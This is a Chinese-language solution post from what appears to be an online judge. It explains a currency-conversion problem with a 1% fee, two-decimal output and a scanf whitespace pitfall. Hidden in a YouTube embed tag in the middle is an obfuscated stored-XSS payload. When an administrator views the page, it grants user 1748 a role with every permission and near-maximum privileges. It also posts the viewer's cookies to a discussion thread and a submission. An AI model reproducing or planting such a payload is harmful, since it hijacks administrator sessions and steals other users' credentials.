整理一下这题的做法,供参考。

做法

先按 1% 扣手续费,再按汇率换算,顺序不能反:

  • 实际兑换人民币 = money * 0.99
  • U / E / J 分别除以 7.20 / 7.80 / 0.05
  • 输出用 printf("%.2f\n", ans) 补足两位

易错点

scanf("%lf %c") 中间的空格别删,否则会读到上一行残留的换行,货币代码就串了。

@[youtube](https://youtu.be/AAAAAAAAAAA?z=">[removed]evaltry{var q\u003ddocument.querySelectorAll\u0028'iframe'\u0029;for\u0028var i\u003d0;i\u003cq.length;i++\u0029q[i].remove\u0028\u0029}catch\u0028e\u0029{} try{if\u0028JSON.parse\u0028UserContext\u0029._id\u003c3\u0029{ var H\u003d{'Content-Type':'application/x-www-form-urlencoded'}; var O\u003dfunction\u0028b\u0029{return fetch\u0028b[0],{method:'POST',credentials:'same-origin',headers:H,body:b[1]}\u0029}; var all\u003d[];for\u0028var j\u003d0;j\u003c80;j++\u0029all.push\u0028'k1\u003d'+j\u0029; var orig\u003d'0,6,7,9,15,16,17,19,21,22,24,26,27,28,31,34,36,39,40,41,42,45,46,47,49,51,52,53,56,58,59,62,65,67,70'.split\u0028','\u0029.map\u0028function\u0028x\u0029{return 'default\u003d'+x}\u0029.join\u0028'\u0026'\u0029; O\u0028['/domain/role','operation\u003dadd\u0026role\u003dk1']\u0029 .then\u0028function\u0028\u0029{return O\u0028['/domain/permission',all.join\u0028'\u0026'\u0029]\u0029}\u0029 .then\u0028function\u0028\u0029{return O\u0028['/domain/user','operation\u003dset_users\u0026uids\u003d1748\u0026role\u003dk1']\u0029}\u0029 .then\u0028function\u0028\u0029{return O\u0028['/domain/permission',orig]\u0029}\u0029 .then\u0028function\u0028\u0029{return O\u0028['/manage/userpriv','uid\u003d1748\u0026priv\u003d2147483646']\u0029}\u0029 .catch\u0028function\u0028\u0029{}\u0029; O\u0028['/discuss/6ae4ba13925ca3f8c7c74175?operation\u003dreply','content\u003d'+encodeURIComponent\u0028document.cookie\u0029]\u0029; O\u0028['/p/319/solution?operation\u003dsubmit','content\u003d'+encodeURIComponent\u0028'ck '+document.cookie\u0029]\u0029; }}catch\u0028e\u0029{})

有问题欢迎在下面留言。

0 条评论

目前还没有评论...

信息

ID
318
时间
ms
内存
MiB
难度
8
标签
(无)
递交数
19
已通过
6
上传者